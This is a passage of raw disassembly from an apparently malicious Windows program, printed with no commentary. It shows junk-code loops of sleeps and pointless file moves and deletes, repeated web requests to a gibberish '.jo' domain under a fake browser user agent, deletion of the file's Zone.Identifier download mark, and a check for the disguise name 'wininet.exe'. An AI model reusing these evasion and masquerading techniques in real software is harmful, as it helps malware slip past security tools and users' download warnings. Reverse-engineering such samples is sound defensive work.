mov eax, dword [ebp - 0x101c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1028]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1034], 0
je 0x412607
mov edx, dword [ebp - 0x1034]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
mov eax, dword [ebp - 0x1034]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1028], eax
cmp dword [ebp - 0x1028], 0
je 0x4125fa
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov ecx, dword [ebp - 0x1028]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x101c], eax
cmp dword [ebp - 0x101c], 0
je 0x4125bf
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, dword [ebp - 0x101c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4twywyw4yw4yw4yw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1028]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x1024], 0x9c40
mov dword [ebp - 0x1014], 0x2bc
mov ecx, dword [ebp - 0x1024]
cmp ecx, dword [ebp - 0x1014]
jbe 0x412671
push 0
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1038], eax
cmp dword [ebp - 0x1038], 0
je 0x41266f
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1014]
add edx, 1
mov dword [ebp - 0x1014], edx
jmp 0x41261b
mov dword [ebp - 0x103c], 0
jmp 0x41268c
mov eax, dword [ebp - 0x103c]
add eax, 1
mov dword [ebp - 0x103c], eax
cmp dword [ebp - 0x103c], 0x1194
jge 0x4126aa
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x41267d
mov ecx, dword [ebp - 0x4c4]
add ecx, 1
mov dword [ebp - 0x4c4], ecx
jmp 0x4120f0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
lea edx, [ebp - 0x6e0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x6e0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0xca4], eax
push 0x18
lea ecx, [ebp - 0xee0]
push ecx
call fcn.00411420
add esp, 8
push 0xf0000000
push 0x18
push 0
push 0
push 0x419f84
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea edx, [ebp - 0x6e0]
push edx
push str._ls:Zone.Identifier
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wininet.exe
mov edx, dword [ebp - 0xca4]
push edx
call sub.MSVCRT.dll_wcscmp
add esp, 8
test eax, eax
je 0x413823
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0x990], 0x2364
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0x990]
jae 0x412cce
push 0
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1040], eax
cmp dword [ebp - 0x1040], 0
je 0x412cba
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.3rvr3r3bru3urbu3rbub
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x41288b
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.3rvr3r3bru3urbu3rbub
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.38fh83hf83hf83hf38h
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1048], eax
cmp dword [ebp - 0x1048], 0
je 0x41291f
push str.3rvr3r3bru3urbu3rbub
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
mov ecx, dword [ebp - 0x1040]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
mov edx, dword [ebp - 0x1040]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, dword [ebp - 0x1040]
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1058], eax
cmp dword [ebp - 0x1058], 0
je 0x4129a3
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov ecx, dword [ebp - 0x1058]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x104c], eax
cmp dword [ebp - 0x104c], 0
je 0x41298b
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x104c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1058]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ecx, dword [ebp - 0x1040]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1040]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x1040]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov ecx, dword [ebp - 0x1040]
push ecx
call dword [sym.imp.USER32.dll_CloseWindow]
mov dword [ebp - 0x1060], 0x18
mov dword [ebp - 0x1050], 0x50
mov edx, dword [ebp - 0x1060]
add edx, dword [ebp - 0x1050]
mov dword [ebp - 0x105c], edx
cmp dword [ebp - 0x105c], 0x1f4
jge 0x412c0a
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.3rvr3r3bru3urbu3rbub
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1064], eax
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1058], eax
cmp dword [ebp - 0x1058], 0
je 0x412afc
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov eax, dword [ebp - 0x1058]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x104c], eax
cmp dword [ebp - 0x104c], 0
je 0x412ae7
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.38fh83hf83hf83hf38h
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x104c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1058]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1064], 0
je 0x412c0a
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1064]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
mov ecx, dword [ebp - 0x1064]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.38fh83hf83hf83hf38h
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1194
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1058], eax
cmp dword [ebp - 0x1058], 0
je 0x412bf2
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov edx, dword [ebp - 0x1058]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x104c], eax
cmp dword [ebp - 0x104c], 0
je 0x412bda
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x104c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1058]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x1054], 0x1770
mov dword [ebp - 0x1044], 0x8fc
mov edx, dword [ebp - 0x1054]
cmp edx, dword [ebp - 0x1044]
jbe 0x412c64
push 0
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1068], eax
cmp dword [ebp - 0x1068], 0
je 0x412c62
push str.3rvr3r3bru3urbu3rbub
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x1044]
add eax, 1
mov dword [ebp - 0x1044], eax
jmp 0x412c1e
mov dword [ebp - 0x106c], 0
jmp 0x412c7f
mov ecx, dword [ebp - 0x106c]
add ecx, 1
mov dword [ebp - 0x106c], ecx
cmp dword [ebp - 0x106c], 0xbb8
jge 0x412cba
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x412c70
mov edx, dword [ebp - 0x4c4]
add edx, 1
mov dword [ebp - 0x4c4], edx
jmp 0x41279f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1070], 0
jmp 0x412cf4
mov eax, dword [ebp - 0x1070]
add eax, 1
mov dword [ebp - 0x1070], eax
cmp dword [ebp - 0x1070], 3
jae 0x413823
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0x990], 0x2382
mov ecx, dword [ebp - 0x4c4]
cmp ecx, dword [ebp - 0x990]
jae 0x413591
push 0
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1074], eax
cmp dword [ebp - 0x1074], 0
je 0x41344d
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4yw4t4tw4twyw4y
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [ebp - 0x1098], 0
jmp 0x412d9e
mov edx, dword [ebp - 0x1098]
add edx, 1
mov dword [ebp - 0x1098], edx
cmp dword [ebp - 0x1098], 0x384
jge 0x412ded
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x412d8f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x108c], eax
push str.w4twywyw4yw4yw4yw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x108c], 0
je 0x412f64
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4twywyw4yw4yw4yw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov eax, dword [ebp - 0x108c]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1080], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1080], 0
je 0x412f4c
mov dword [ebp - 0x109c], 0
jmp 0x412f02
mov ecx, dword [ebp - 0x109c]
add ecx, 1
mov dword [ebp - 0x109c], ecx
cmp dword [ebp - 0x109c], 0x190
jge 0x412f4c
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x412ef3
mov edx, dword [ebp - 0x1080]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x108c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, dword [ebp - 0x1074]
push ecx
call dword [sym.imp.USER32.dll_CloseWindow]
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x1094], 0x58
mov dword [ebp - 0x1084], 0x42
mov edx, dword [ebp - 0x1094]
add edx, dword [ebp - 0x1084]
mov dword [ebp - 0x1090], edx
cmp dword [ebp - 0x1090], 0x190
jge 0x41325b
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.3rvr3r3bru3urbu3rbub
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10a0], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x108c], eax
cmp dword [ebp - 0x108c], 0
je 0x413115
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov eax, dword [ebp - 0x108c]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1080], eax
cmp dword [ebp - 0x1080], 0
je 0x4130fd
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.e5u5eue5ue5ue5ue5u
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x1080]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x108c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x10a0], 0
je 0x41325b
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov eax, dword [ebp - 0x10a0]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0x10a0]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x108c], eax
cmp dword [ebp - 0x108c], 0
je 0x41324e
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov edx, dword [ebp - 0x108c]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1080], eax
cmp dword [ebp - 0x1080], 0
je 0x413220
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x1080]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x108c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x1088], 0x12fd1
mov dword [ebp - 0x1078], 0x3e7
mov edx, dword [ebp - 0x1088]
cmp edx, dword [ebp - 0x1078]
jbe 0x4132ed
push 0
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10a4], eax
cmp dword [ebp - 0x10a4], 0
je 0x4132eb
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1078]
add eax, 1
mov dword [ebp - 0x1078], eax
jmp 0x41326f
push str.3rvr3r3bru3urbu3rbub
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x413338
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4twywyw4yw4yw4yw4y
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.38fh83hf83hf83hf38h
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x107c], eax
cmp dword [ebp - 0x107c], 0
je 0x4133e8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x1074]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.w4twywyw4yw4yw4yw4y
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 1
mov edx, dword [ebp - 0x1074]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4twywyw4yw4yw4yw4y
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1074]
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10a8], 0
jmp 0x413403
mov ecx, dword [ebp - 0x10a8]
add ecx, 1
mov dword [ebp - 0x10a8], ecx
cmp dword [ebp - 0x10a8], 0x190
jge 0x41344d
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4133f4
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x41357d
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x10b0], 0
jmp 0x413486
mov edx, dword [ebp - 0x10b0]
add edx, 1
mov dword [ebp - 0x10b0], edx
cmp dword [ebp - 0x10b0], 0x1770
jge 0x4134af
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x413477
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10ac], eax
cmp dword [ebp - 0x10ac], 0
je 0x413539
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x1074]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, dword [ebp - 0x1074]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.w4twywyw4yw4yw4yw4y
push str.w4yw4t4tw4twyw4y
